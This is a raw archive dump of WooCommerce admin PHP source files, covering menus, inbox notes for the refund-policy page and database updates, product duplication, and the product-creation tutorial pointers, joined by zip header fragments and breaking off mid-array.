		// Return order.
		return $woocommerce_menu_order;
	}

	/**
	 * Custom menu order.
	 *
	 * @param bool $enabled Whether custom menu ordering is already enabled.
	 * @return bool
	 */
	public function custom_menu_order( $enabled ) {
		return $enabled || current_user_can( 'edit_others_shop_orders' );
	}

	/**
	 * Validate screen options on update.
	 *
	 * @param bool|int $status Screen option value. Default false to skip.
	 * @param string   $option The option name.
	 * @param int      $value  The number of rows to use.
	 */
	public function set_screen_option( $status, $option, $value ) {
		if ( in_array( $option, array( 'woocommerce_keys_per_page', 'woocommerce_webhooks_per_page' ), true ) ) {
			return $value;
		}

		return $status;
	}

	/**
	 * Init the reports page.
	 */
	public function reports_page() {
		WC_Admin_Reports::output();
	}

	/**
	 * Init the settings page.
	 */
	public function settings_page() {
		WC_Admin_Settings::output();
	}

	/**
	 * Init the attributes page.
	 */
	public function attributes_page() {
		WC_Admin_Attributes::output();
	}

	/**
	 * Init the status page.
	 */
	public function status_page() {
		WC_Admin_Status::output();
	}

	/**
	 * Init the addons page.
	 */
	public function addons_page() {
		WC_Admin_Addons::output();
	}

	/**
	 * Add custom nav meta box.
	 *
	 * Adapted from http://www.johnmorrisonline.com/how-to-add-a-fully-functional-custom-meta-box-to-wordpress-navigation-menus/.
	 */
	public function add_nav_menu_meta_boxes() {
		add_meta_box( 'woocommerce_endpoints_nav_link', __( 'WooCommerce endpoints', 'woocommerce' ), array( $this, 'nav_menu_links' ), 'nav-menus', 'side', 'low' );
	}

	/**
	 * Output menu links.
	 */
	public function nav_menu_links() {
		// Get items from account menu.
		$endpoints = wc_get_account_menu_items();

		// Remove dashboard item.
		if ( isset( $endpoints['dashboard'] ) ) {
			unset( $endpoints['dashboard'] );
		}

		// Include missing lost password.
		$endpoints['lost-password'] = __( 'Lost password', 'woocommerce' );

		$endpoints = apply_filters( 'woocommerce_custom_nav_menu_items', $endpoints );

		?>
		<div id="posttype-woocommerce-endpoints" class="posttypediv">
			<div id="tabs-panel-woocommerce-endpoints" class="tabs-panel tabs-panel-active">
				<ul id="woocommerce-endpoints-checklist" class="categorychecklist form-no-clear">
					<?php
					$i = -1;
					foreach ( $endpoints as $key => $value ) :
						?>
						<li>
							<label class="menu-item-title">
								<input type="checkbox" class="menu-item-checkbox" name="menu-item[<?php echo esc_attr( $i ); ?>][menu-item-object-id]" value="<?php echo esc_attr( $i ); ?>" /> <?php echo esc_html( $value ); ?>
							</label>
							<input type="hidden" class="menu-item-type" name="menu-item[<?php echo esc_attr( $i ); ?>][menu-item-type]" value="custom" />
							<input type="hidden" class="menu-item-title" name="menu-item[<?php echo esc_attr( $i ); ?>][menu-item-title]" value="<?php echo esc_attr( $value ); ?>" />
							<input type="hidden" class="menu-item-url" name="menu-item[<?php echo esc_attr( $i ); ?>][menu-item-url]" value="<?php echo esc_url( wc_get_account_endpoint_url( $key ) ); ?>" />
							<input type="hidden" class="menu-item-classes" name="menu-item[<?php echo esc_attr( $i ); ?>][menu-item-classes]" />
						</li>
						<?php
						$i--;
					endforeach;
					?>
				</ul>
			</div>
			<p class="button-controls">
				<span class="list-controls">
					<a href="<?php echo esc_url( admin_url( 'nav-menus.php?page-tab=all&selectall=1#posttype-woocommerce-endpoints' ) ); ?>" class="select-all"><?php esc_html_e( 'Select all', 'woocommerce' ); ?></a>
				</span>
				<span class="add-to-menu">
					<button type="submit" class="button-secondary submit-add-to-menu right" value="<?php esc_attr_e( 'Add to menu', 'woocommerce' ); ?>" name="add-post-type-menu-item" id="submit-posttype-woocommerce-endpoints"><?php esc_html_e( 'Add to menu', 'woocommerce' ); ?></button>
					<span class="spinner"></span>
				</span>
			</p>
		</div>
		<?php
	}

	/**
	 * Add the "Visit Store" link in admin bar main menu.
	 *
	 * @since 2.4.0
	 * @param WP_Admin_Bar $wp_admin_bar Admin bar instance.
	 */
	public function admin_bar_menus( $wp_admin_bar ) {
		if ( ! is_admin() || ! is_admin_bar_showing() ) {
			return;
		}

		// Show only when the user is a member of this site, or they're a super admin.
		if ( ! is_user_member_of_blog() && ! is_super_admin() ) {
			return;
		}

		// Don't display when shop page is the same of the page on front.
		if ( intval( get_option( 'page_on_front' ) ) === wc_get_page_id( 'shop' ) ) {
			return;
		}

		// Add an option to visit the store.
		$wp_admin_bar->add_node(
			array(
				'parent' => 'site-name',
				'id'     => 'view-store',
				'title'  => __( 'Visit Store', 'woocommerce' ),
				'href'   => wc_get_page_permalink( 'shop' ),
			)
		);
	}

	/**
	 * Highlight the My Subscriptions menu item when on that page
	 *
	 * @param string $submenu_file The submenu file.
	 * @param string $parent_file  currently opened page.
	 *
	 * @return string
	 */
	public function update_menu_highlight( $submenu_file, $parent_file ) {
		if ( 'woocommerce' === $parent_file && isset( $_GET['section'] ) && 'helper' === $_GET['section'] ) {
			$submenu_file = 'wc-addons&section=helper';
		}
		return $submenu_file;
	}

	/**
	 * Update the My Subscriptions document title when on that page.
	 * We want to maintain existing page URL but add it as a separate page,
	 * which requires updating it manually.
	 *
	 * @param  string $admin_title existing page title.
	 * @return string
	 */
	public function update_my_subscriptions_title( $admin_title ) {
		if (
			isset( $_GET['page'] ) && 'wc-addons' === $_GET['page'] &&
			isset( $_GET['section'] ) && 'helper' === $_GET['section']
		) {
			$admin_title = 'My WooCommerce.com Subscriptions';
		}
		return $admin_title;
	}
}

return new WC_Admin_Menus();
PK�3\�v�%��'notes/class-wc-notes-refund-returns.phpnu�[���<?php
/**
 * Refund and Returns Policy Page Note Provider.
 *
 * Adds notes to the merchant's inbox concerning the created page.
 *
 * @package WooCommerce
 */

defined( 'ABSPATH' ) || exit;

use Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Admin\Notes\Note;

/**
 * WC_Notes_Refund_Returns.
 */
class WC_Notes_Refund_Returns {
	/**
	 * Name of the note for use in the database.
	 */
	const NOTE_NAME = 'wc-refund-returns-page';

	/**
	 * Maybe add a note to the inbox.
	 *
	 * @param int $page_id The ID of the page.
	 */
	public static function possibly_add_note( $page_id ) {
		$data_store = \WC_Data_Store::load( 'admin-note' );

		// Do we already have this note?
		$note_id = $data_store->get_notes_with_name( self::NOTE_NAME );

		if ( ! empty( $note_id ) ) {
			$note = new Note( $note_id );

			if ( false !== $note || $note::E_WC_ADMIN_NOTE_ACTIONED === $note->get_status() ) {
				// note actioned -> don't show it.
				return;
			}
		}

		// Add note.
		$note = self::get_note( $page_id );
		$note->save();
		delete_option( 'woocommerce_refund_returns_page_created' );
	}

	/**
	 * Get the note.
	 *
	 * @param int $page_id The ID of the page.
	 * @return object $note The note object.
	 */
	public static function get_note( $page_id ) {
		$note = new Note();
		$note->set_title( __( 'Setup a Refund and Returns Policy page to boost your store\'s credibility.', 'woocommerce' ) );
		$note->set_content( __( 'We have created a sample draft Refund and Returns Policy page for you. Please have a look and update it to fit your store.', 'woocommerce' ) );
		$note->set_type( Note::E_WC_ADMIN_NOTE_INFORMATIONAL );
		$note->set_name( self::NOTE_NAME );
		$note->set_content_data( (object) array() );
		$note->set_source( 'woocommerce-core' );
		$note->add_action(
			'notify-refund-returns-page',
			__( 'Edit page', 'woocommerce' ),
			admin_url( sprintf( 'post.php?post=%d&action=edit', (int) $page_id ) )
		);

		return $note;
	}
}
PK�3\3t��)�)&notes/class-wc-notes-run-db-update.phpnu�[���<?php
/**
 * WooCommerce: Db update note.
 *
 * Adds a note to complete the WooCommerce db update after the upgrade in the WC Admin context.
 *
 * @package WooCommerce
 */

defined( 'ABSPATH' ) || exit;

use \Automattic\Jetpack\Constants;
use Automattic\WooCommerce\Admin\Notes\Note;

/**
 * WC_Notes_Run_Db_Update.
 */
class WC_Notes_Run_Db_Update {
	const NOTE_NAME = 'wc-update-db-reminder';

	/**
	 * Attach hooks.
	 */
	public function __construct() {
		// If the old notice gets dismissed, also hide this new one.
		add_action( 'woocommerce_hide_update_notice', array( __CLASS__, 'set_notice_actioned' ) );

		// Not using Jetpack\Constants here as it can run before 'plugin_loaded' is done.
		if ( defined( 'DOING_AJAX' ) && DOING_AJAX
			|| defined( 'DOING_CRON' ) && DOING_CRON
			|| ! is_admin() ) {
			return;
		}

		add_action( 'current_screen', array( __CLASS__, 'show_reminder' ) );
	}

	/**
	 * Get current notice id from the database.
	 *
	 * Retrieves the first notice of this type.
	 *
	 * @return int|void Note id or null in case no note was found.
	 */
	private static function get_current_notice() {
		try {
			$data_store = \WC_Data_Store::load( 'admin-note' );
		} catch ( Exception $e ) {
			return;
		}
		$note_ids = $data_store->get_notes_with_name( self::NOTE_NAME );

		if ( empty( $note_ids ) ) {
			return;
		}

		if ( count( $note_ids ) > 1 ) {
			// Remove weird duplicates. Leave the first one.
			$current_notice = array_shift( $note_ids );
			foreach ( $note_ids as $note_id ) {
				$note = new Note( $note_id );
				$data_store->delete( $note );
			}
			return $current_notice;
		}

		return current( $note_ids );
	}

	/**
	 * Set this notice to an actioned one, so that it's no longer displayed.
	 */
	public static function set_notice_actioned() {
		$note_id = self::get_current_notice();

		if ( ! $note_id ) {
			return;
		}

		$note = new Note( $note_id );
		$note->set_status( Note::E_WC_ADMIN_NOTE_ACTIONED );
		$note->save();
	}

	/**
	 * Check whether the note is up to date for a fresh display.
	 *
	 * The check tests if
	 *  - actions are set up for the first 'Update database' notice, and
	 *  - URL for note's action is equal to the given URL (to check for potential nonce update).
	 *
	 * @param Note               $note            Note to check.
	 * @param string             $update_url      URL to check the note against.
	 * @param array<int, string> $current_actions List of actions to check for.
	 * @return bool
	 */
	private static function note_up_to_date( $note, $update_url, $current_actions ) {
		$actions = $note->get_actions();
		return count( $current_actions ) === count( array_intersect( wp_list_pluck( $actions, 'name' ), $current_actions ) )
			&& in_array( $update_url, wp_list_pluck( $actions, 'query' ), true );
	}

	/**
	 * Create and set up the first (out of 3) 'Database update needed' notice and store it in the database.
	 *
	 * If a $note_id is given, the method updates the note instead of creating a new one.
	 *
	 * @param integer $note_id Note db record to update.
	 * @return int Created/Updated note id
	 */
	private static function update_needed_notice( $note_id = null ) {
		$update_url =
			add_query_arg(
				array(
					'do_update_woocommerce' => 'true',
				),
				wc_get_current_admin_url() ? wc_get_current_admin_url() : admin_url( 'admin.php?page=wc-settings' )
			);

		$note_actions = array(
			array(
				'name'         => 'update-db_run',
				'label'        => __( 'Update WooCommerce Database', 'woocommerce' ),
				'url'          => $update_url,
				'status'       => 'unactioned',
				'primary'      => true,
				'nonce_action' => 'wc_db_update',
				'nonce_name'   => 'wc_db_update_nonce',
			),
			array(
				'name'    => 'update-db_learn-more',
				'label'   => __( 'Learn more about updates', 'woocommerce' ),
				'url'     => 'https://docs.woocommerce.com/document/how-to-update-woocommerce/',
				'status'  => 'unactioned',
				'primary' => false,
			),
		);

		if ( $note_id ) {
			$note = new Note( $note_id );
		} else {
			$note = new Note();
		}

		// Check if the note needs to be updated (e.g. expired nonce or different note type stored in the previous run).
		if ( self::note_up_to_date( $note, $update_url, wp_list_pluck( $note_actions, 'name' ) ) ) {
			return $note_id;
		}

		$note->set_title( __( 'WooCommerce database update required', 'woocommerce' ) );
		$note->set_content(
			__( 'WooCommerce has been updated! To keep things running smoothly, we have to update your database to the newest version.', 'woocommerce' )
			/* translators: %1$s: opening <a> tag %2$s: closing </a> tag*/
			. sprintf( ' ' . esc_html__( 'The database update process runs in the background and may take a little while, so please be patient. Advanced users can alternatively update via %1$sWP CLI%2$s.', 'woocommerce' ), '<a href="https://github.com/woocommerce/woocommerce/wiki/Upgrading-the-database-using-WP-CLI">', '</a>' )
		);
		$note->set_type( Note::E_WC_ADMIN_NOTE_UPDATE );
		$note->set_name( self::NOTE_NAME );
		$note->set_content_data( (object) array() );
		$note->set_source( 'woocommerce-core' );
		// In case db version is out of sync with WC version or during the next update, the notice needs to show up again,
		// so set it to unactioned.
		$note->set_status( Note::E_WC_ADMIN_NOTE_UNACTIONED );

		// Set new actions.
		$note->clear_actions();
		foreach ( $note_actions as $note_action ) {
			$note->add_action( ...array_values( $note_action ) );

			if ( isset( $note_action['nonce_action'] ) ) {
				$note->add_nonce_to_action( $note_action['name'], $note_action['nonce_action'], $note_action['nonce_name'] );
			}
		}

		return $note->save();
	}

	/**
	 * Update the existing note with $note_id with information about the db upgrade being in progress.
	 *
	 * This is the second out of 3 notices displayed to the user.
	 *
	 * @param int $note_id Note id to update.
	 */
	private static function update_in_progress_notice( $note_id ) {
		// Same actions as in includes/admin/views/html-notice-updating.php. This just redirects, performs no action, so without nonce.
		$pending_actions_url = admin_url( 'admin.php?page=wc-status&tab=action-scheduler&s=woocommerce_run_update&status=pending' );
		$cron_disabled       = Constants::is_true( 'DISABLE_WP_CRON' );
		$cron_cta            = $cron_disabled ? __( 'You can manually run queued updates here.', 'woocommerce' ) : __( 'View progress →', 'woocommerce' );

		$note = new Note( $note_id );
		$note->set_title( __( 'WooCommerce database update in progress', 'woocommerce' ) );
		$note->set_content( __( 'WooCommerce is updating the database in the background. The database update process may take a little while, so please be patient.', 'woocommerce' ) );

		$note->clear_actions();
		$note->add_action(
			'update-db_see-progress',
			$cron_cta,
			$pending_actions_url,
			'unactioned',
			false
		);

		$note->save();
	}

	/**
	 * Update the existing note with $note_id with information that db upgrade is done.
	 *
	 * This is the last notice (3 out of 3 notices) displayed to the user.
	 *
	 * @param int $note_id Note id to update.
	 */
	private static function update_done_notice( $note_id ) {
		$hide_notices_url = html_entity_decode( // to convert &amp;s to normal &, otherwise produces invalid link.
			add_query_arg(
				array(
					'wc-hide-notice' => 'update',
				),
				wc_get_current_admin_url() ? remove_query_arg( 'do_update_woocommerce', wc_get_current_admin_url() ) : admin_url( 'admin.php?page=wc-settings' )
			)
		);

		$note_actions = array(
			array(
				'name'         => 'update-db_done',
				'label'        => __( 'Thanks!', 'woocommerce' ),
				'url'          => $hide_notices_url,
				'status'       => 'actioned',
				'primary'      => true,
				'nonce_action' => 'woocommerce_hide_notices_nonce',
				'nonce_name'   => '_wc_notice_nonce',
			),
		);

		$note = new Note( $note_id );

		// Check if the note needs to be updated (e.g. expired nonce or different note type stored in the previous run).
		if ( self::note_up_to_date( $note, $hide_notices_url, wp_list_pluck( $note_actions, 'name' ) ) ) {
			return $note_id;
		}

		$note->set_title( __( 'WooCommerce database update done', 'woocommerce' ) );
		$note->set_content( __( 'WooCommerce database update complete. Thank you for updating to the latest version!', 'woocommerce' ) );

		$note->clear_actions();
		foreach ( $note_actions as $note_action ) {
			$note->add_action( ...array_values( $note_action ) );

			if ( isset( $note_action['nonce_action'] ) ) {
				$note->add_nonce_to_action( $note_action['name'], $note_action['nonce_action'], $note_action['nonce_name'] );
			}
		}

		$note->save();
	}

	/**
	 * Prepare the correct content of the db update note to be displayed by WC Admin.
	 *
	 * This one gets called on each page load, so try to bail quickly.
	 *
	 * If the db needs an update, the notice should be always shown.
	 * If the db does not need an update, but the notice has *not* been actioned (i.e. after the db update, when
	 * store owner hasn't acknowledged the successful db update), still show the Thanks notice.
	 * If the db does not need an update, and the notice has been actioned, then notice should *not* be shown.
	 * The notice should also be hidden if the db does not need an update and the notice does not exist.
	 */
	public static function show_reminder() {
		$needs_db_update = \WC_Install::needs_db_update();

		$note_id = self::get_current_notice();
		if ( ! $needs_db_update ) {
			// Db update not needed && note does not exist -> don't show it.
			if ( ! $note_id ) {
				return;
			}

			$note = new Note( $note_id );
			if ( $note::E_WC_ADMIN_NOTE_ACTIONED === $note->get_status() ) {
				// Db update not needed && note actioned -> don't show it.
				return;
			} else {
				// Db update not needed && notice is unactioned -> Thank you note.
				self::update_done_notice( $note_id );
				return;
			}
		} else {
			// Db needs update &&.
			if ( ! $note_id ) {
				// Db needs update && no notice exists -> create one that shows Nudge to update.
				$note_id = self::update_needed_notice();
			}

			$next_scheduled_date = WC()->queue()->get_next( 'woocommerce_run_update_callback', null, 'woocommerce-db-updates' );

			if ( $next_scheduled_date || ! empty( $_GET['do_update_woocommerce'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
				// Db needs update && db update is scheduled -> update note to In progress.
				self::update_in_progress_notice( $note_id );
			} else {
				// Db needs update && db update is not scheduled -> Nudge to run the db update.
				self::update_needed_notice( $note_id );
			}
		}
	}

}
PK�3\��m�4%4%$class-wc-admin-duplicate-product.phpnu�[���<?php
/**
 * Duplicate product functionality
 *
 * @package     WooCommerce\Admin
 * @version     3.0.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

if ( class_exists( 'WC_Admin_Duplicate_Product', false ) ) {
	return new WC_Admin_Duplicate_Product();
}

/**
 * WC_Admin_Duplicate_Product Class.
 */
class WC_Admin_Duplicate_Product {

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'admin_action_duplicate_product', array( $this, 'duplicate_product_action' ) );
		add_filter( 'post_row_actions', array( $this, 'dupe_link' ), 10, 2 );
		add_action( 'post_submitbox_start', array( $this, 'dupe_button' ) );
	}

	/**
	 * Show the "Duplicate" link in admin products list.
	 *
	 * @param array   $actions Array of actions.
	 * @param WP_Post $post Post object.
	 * @return array
	 */
	public function dupe_link( $actions, $post ) {
		global $the_product;

		if ( ! current_user_can( apply_filters( 'woocommerce_duplicate_product_capability', 'manage_woocommerce' ) ) ) {
			return $actions;
		}

		if ( 'product' !== $post->post_type ) {
			return $actions;
		}

		// Add Class to Delete Permanently link in row actions.
		if ( empty( $the_product ) || $the_product->get_id() !== $post->ID ) {
			$the_product = wc_get_product( $post );
		}

		if ( 'publish' === $post->post_status && $the_product && 0 < $the_product->get_total_sales() ) {
			$actions['trash'] = sprintf(
				'<a href="%s" class="submitdelete trash-product" aria-label="%s">%s</a>',
				get_delete_post_link( $the_product->get_id(), '', false ),
				/* translators: %s: post title */
				esc_attr( sprintf( __( 'Move &#8220;%s&#8221; to the Trash', 'woocommerce' ), $the_product->get_name() ) ),
				esc_html__( 'Trash', 'woocommerce' )
			);
		}

		$actions['duplicate'] = '<a href="' . wp_nonce_url( admin_url( 'edit.php?post_type=product&action=duplicate_product&amp;post=' . $post->ID ), 'woocommerce-duplicate-product_' . $post->ID ) . '" aria-label="' . esc_attr__( 'Make a duplicate from this product', 'woocommerce' )
			. '" rel="permalink">' . esc_html__( 'Duplicate', 'woocommerce' ) . '</a>';

		return $actions;
	}

	/**
	 * Show the dupe product link in admin.
	 */
	public function dupe_button() {
		global $post;

		if ( ! current_user_can( apply_filters( 'woocommerce_duplicate_product_capability', 'manage_woocommerce' ) ) ) {
			return;
		}

		if ( ! is_object( $post ) ) {
			return;
		}

		if ( 'product' !== $post->post_type ) {
			return;
		}

		$notify_url = wp_nonce_url( admin_url( 'edit.php?post_type=product&action=duplicate_product&post=' . absint( $post->ID ) ), 'woocommerce-duplicate-product_' . $post->ID );
		?>
		<div id="duplicate-action"><a class="submitduplicate duplication" href="<?php echo esc_url( $notify_url ); ?>"><?php esc_html_e( 'Copy to a new draft', 'woocommerce' ); ?></a></div>
		<?php
	}

	/**
	 * Duplicate a product action.
	 */
	public function duplicate_product_action() {
		if ( empty( $_REQUEST['post'] ) ) {
			wp_die( esc_html__( 'No product to duplicate has been supplied!', 'woocommerce' ) );
		}

		$product_id = isset( $_REQUEST['post'] ) ? absint( $_REQUEST['post'] ) : '';

		check_admin_referer( 'woocommerce-duplicate-product_' . $product_id );

		$product = wc_get_product( $product_id );

		if ( false === $product ) {
			/* translators: %s: product id */
			wp_die( sprintf( esc_html__( 'Product creation failed, could not find original product: %s', 'woocommerce' ), esc_html( $product_id ) ) );
		}

		$duplicate = $this->product_duplicate( $product );

		// Hook rename to match other woocommerce_product_* hooks, and to move away from depending on a response from the wp_posts table.
		do_action( 'woocommerce_product_duplicate', $duplicate, $product );
		wc_do_deprecated_action( 'woocommerce_duplicate_product', array( $duplicate->get_id(), $this->get_product_to_duplicate( $product_id ) ), '3.0', 'Use woocommerce_product_duplicate action instead.' );

		// Redirect to the edit screen for the new draft page.
		wp_redirect( admin_url( 'post.php?action=edit&post=' . $duplicate->get_id() ) );
		exit;
	}

	/**
	 * Function to create the duplicate of the product.
	 *
	 * @param WC_Product $product The product to duplicate.
	 * @return WC_Product The duplicate.
	 */
	public function product_duplicate( $product ) {
		/**
		 * Filter to allow us to exclude meta keys from product duplication..
		 *
		 * @param array $exclude_meta The keys to exclude from the duplicate.
		 * @param array $existing_meta_keys The meta keys that the product already has.
		 * @since 2.6
		 */
		$meta_to_exclude = array_filter(
			apply_filters(
				'woocommerce_duplicate_product_exclude_meta',
				array(),
				array_map(
					function ( $datum ) {
						return $datum->key;
					},
					$product->get_meta_data()
				)
			)
		);

		$duplicate = clone $product;
		$duplicate->set_id( 0 );
		/* translators: %s contains the name of the original product. */
		$duplicate->set_name( sprintf( esc_html__( '%s (Copy)', 'woocommerce' ), $duplicate->get_name() ) );
		$duplicate->set_total_sales( 0 );
		if ( '' !== $product->get_sku( 'edit' ) ) {
			$duplicate->set_sku( wc_product_generate_unique_sku( 0, $product->get_sku( 'edit' ) ) );
		}
		$duplicate->set_status( 'draft' );
		$duplicate->set_date_created( null );
		$duplicate->set_slug( '' );
		$duplicate->set_rating_counts( 0 );
		$duplicate->set_average_rating( 0 );
		$duplicate->set_review_count( 0 );

		foreach ( $meta_to_exclude as $meta_key ) {
			$duplicate->delete_meta_data( $meta_key );
		}

		/**
		 * This action can be used to modify the object further before it is created - it will be passed by reference.
		 *
		 * @since 3.0
		 */
		do_action( 'woocommerce_product_duplicate_before_save', $duplicate, $product );

		// Save parent product.
		$duplicate->save();

		// Duplicate children of a variable product.
		if ( ! apply_filters( 'woocommerce_duplicate_product_exclude_children', false, $product ) && $product->is_type( 'variable' ) ) {
			foreach ( $product->get_children() as $child_id ) {
				$child           = wc_get_product( $child_id );
				$child_duplicate = clone $child;
				$child_duplicate->set_parent_id( $duplicate->get_id() );
				$child_duplicate->set_id( 0 );
				$child_duplicate->set_date_created( null );

				// If we wait and let the insertion generate the slug, we will see extreme performance degradation
				// in the case where a product is used as a template. Every time the template is duplicated, each
				// variation will query every consecutive slug until it finds an empty one. To avoid this, we can
				// optimize the generation ourselves, avoiding the issue altogether.
				$this->generate_unique_slug( $child_duplicate );

				if ( '' !== $child->get_sku( 'edit' ) ) {
					$child_duplicate->set_sku( wc_product_generate_unique_sku( 0, $child->get_sku( 'edit' ) ) );
				}

				foreach ( $meta_to_exclude as $meta_key ) {
					$child_duplicate->delete_meta_data( $meta_key );
				}

				/**
				 * This action can be used to modify the object further before it is created - it will be passed by reference.
				 *
				 * @since 3.0
				 */
				do_action( 'woocommerce_product_duplicate_before_save', $child_duplicate, $child );

				$child_duplicate->save();
			}

			// Get new object to reflect new children.
			$duplicate = wc_get_product( $duplicate->get_id() );
		}

		return $duplicate;
	}

	/**
	 * Get a product from the database to duplicate.
	 *
	 * @deprecated 3.0.0
	 * @param mixed $id The ID of the product to duplicate.
	 * @return object|bool
	 * @see duplicate_product
	 */
	private function get_product_to_duplicate( $id ) {
		global $wpdb;

		$id = absint( $id );

		if ( ! $id ) {
			return false;
		}

		$post = $wpdb->get_row( $wpdb->prepare( "SELECT {$wpdb->posts}.* FROM {$wpdb->posts} WHERE ID = %d", $id ) );

		if ( isset( $post->post_type ) && 'revision' === $post->post_type ) {
			$id   = $post->post_parent;
			$post = $wpdb->get_row( $wpdb->prepare( "SELECT {$wpdb->posts}.* FROM {$wpdb->posts} WHERE ID = %d", $id ) );
		}

		return $post;
	}

	/**
	 * Generates a unique slug for a given product. We do this so that we can override the
	 * behavior of wp_unique_post_slug(). The normal slug generation will run single
	 * select queries on every non-unique slug, resulting in very bad performance.
	 *
	 * @param WC_Product $product The product to generate a slug for.
	 * @since 3.9.0
	 */
	private function generate_unique_slug( $product ) {
		global $wpdb;

		// We want to remove the suffix from the slug so that we can find the maximum suffix using this root slug.
		// This will allow us to find the next-highest suffix that is unique. While this does not support gap
		// filling, this shouldn't matter for our use-case.
		$root_slug = preg_replace( '/-[0-9]+$/', '', $product->get_slug() );

		$results = $wpdb->get_results(
			$wpdb->prepare( "SELECT post_name FROM $wpdb->posts WHERE post_name LIKE %s AND post_type IN ( 'product', 'product_variation' )", $root_slug . '%' )
		);

		// The slug is already unique!
		if ( empty( $results ) ) {
			return;
		}

		// Find the maximum suffix so we can ensure uniqueness.
		$max_suffix = 1;
		foreach ( $results as $result ) {
			// Pull a numerical suffix off the slug after the last hyphen.
			$suffix = intval( substr( $result->post_name, strrpos( $result->post_name, '-' ) + 1 ) );
			if ( $suffix > $max_suffix ) {
				$max_suffix = $suffix;
			}
		}

		$product->set_slug( $root_slug . '-' . ( $max_suffix + 1 ) );
	}
}

return new WC_Admin_Duplicate_Product();
PK�3\��
;%;%class-wc-admin-pointers.phpnu�[���<?php
/**
 * Adds and controls pointers for contextual help/tutorials
 *
 * @package WooCommerce\Admin\Pointers
 * @version 2.4.0
 */

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * WC_Admin_Pointers Class.
 */
class WC_Admin_Pointers {

	/**
	 * Constructor.
	 */
	public function __construct() {
		add_action( 'admin_enqueue_scripts', array( $this, 'setup_pointers_for_screen' ) );
	}

	/**
	 * Setup pointers for screen.
	 */
	public function setup_pointers_for_screen() {
		$screen = get_current_screen();

		if ( ! $screen ) {
			return;
		}

		switch ( $screen->id ) {
			case 'product':
				$this->create_product_tutorial();
				break;
		}
	}

	/**
	 * Pointers for creating a product.
	 */
	public function create_product_tutorial() {
		if ( ! isset( $_GET['tutorial'] ) || ! current_user_can( 'manage_options' ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
			return;
		}

		// These pointers will chain - they will not be shown at once.
		$pointers = array(
			'pointers' => array(
				'title'          => array(
					'target'       => '#title',
					'next'         => 'content',
					'next_trigger' => array(
						'target' => '#title',
						'event'  => 'input',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Product name', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Give your new product a name here. This is a required field and will be what your customers will see in your store.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'top',
							'align' => 'left',
						),
					),
				),
				'content'        => array(
					'target'       => '#wp-content-editor-container',
					'next'         => 'product-type',
					'next_trigger' => array(),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Product description', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'This is your products main body of content. Here you should describe your product in detail.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'product-type'   => array(
					'target'       => '#product-type',
					'next'         => 'virtual',
					'next_trigger' => array(
						'target' => '#product-type',
						'event'  => 'change blur click',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Choose product type', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Choose a type for this product. Simple is suitable for most physical goods and services (we recommend setting up a simple product for now).', 'woocommerce' ) . '</p>' .
										'<p>' . esc_html__( 'Variable is for more complex products such as t-shirts with multiple sizes.', 'woocommerce' ) . '</p>' .
										'<p>' . esc_html__( 'Grouped products are for grouping several simple products into one.', 'woocommerce' ) . '</p>' .
										'<p>' . esc_html__( 'Finally, external products are for linking off-site.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'virtual'        => array(
					'target'       => '#_virtual',
					'next'         => 'downloadable',
					'next_trigger' => array(
						'target' => '#_virtual',
						'event'  => 'change',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Virtual products', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Check the "Virtual" box if this is a non-physical item, for example a service, which does not need shipping.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'downloadable'   => array(
					'target'       => '#_downloadable',
					'next'         => 'regular_price',
					'next_trigger' => array(
						'target' => '#_downloadable',
						'event'  => 'change',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Downloadable products', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'If purchasing this product gives a customer access to a downloadable file, e.g. software, check this box.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'regular_price'  => array(
					'target'       => '#_regular_price',
					'next'         => 'postexcerpt',
					'next_trigger' => array(
						'target' => '#_regular_price',
						'event'  => 'input',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Prices', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Next you need to give your product a price.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'postexcerpt'    => array(
					'target'       => '#postexcerpt',
					'next'         => 'postimagediv',
					'next_trigger' => array(
						'target' => '#postexcerpt',
						'event'  => 'input',
					),
					'options'      => array(
						'content'  => '<h3>' . esc_html__( 'Product short description', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'Add a quick summary for your product here. This will appear on the product page under the product name.', 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'bottom',
							'align' => 'middle',
						),
					),
				),
				'postimagediv'   => array(
					'target'  => '#postimagediv',
					'next'    => 'product_tag',
					'options' => array(
						'content'  => '<h3>' . esc_html__( 'Product images', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( "Upload or assign an image to your product here. This image will be shown in your store's catalog.", 'woocommerce' ) . '</p>',
						'position' => array(
							'edge'  => 'right',
							'align' => 'middle',
						),
					),
				),
				'product_tag'    => array(
					'target'  => '#tagsdiv-product_tag',
					'next'    => 'product_catdiv',
					'options' => array(
						'content'  => '<h3>' . esc_html__( 'Product tags', 'woocommerce' ) . '</h3>' .
										'<p>' . esc_html__( 'You can optionally "tag" your products here. Tags are a method of labeling your products to make them easier for customers to find.', 'woocommerce' ) . '</p>',
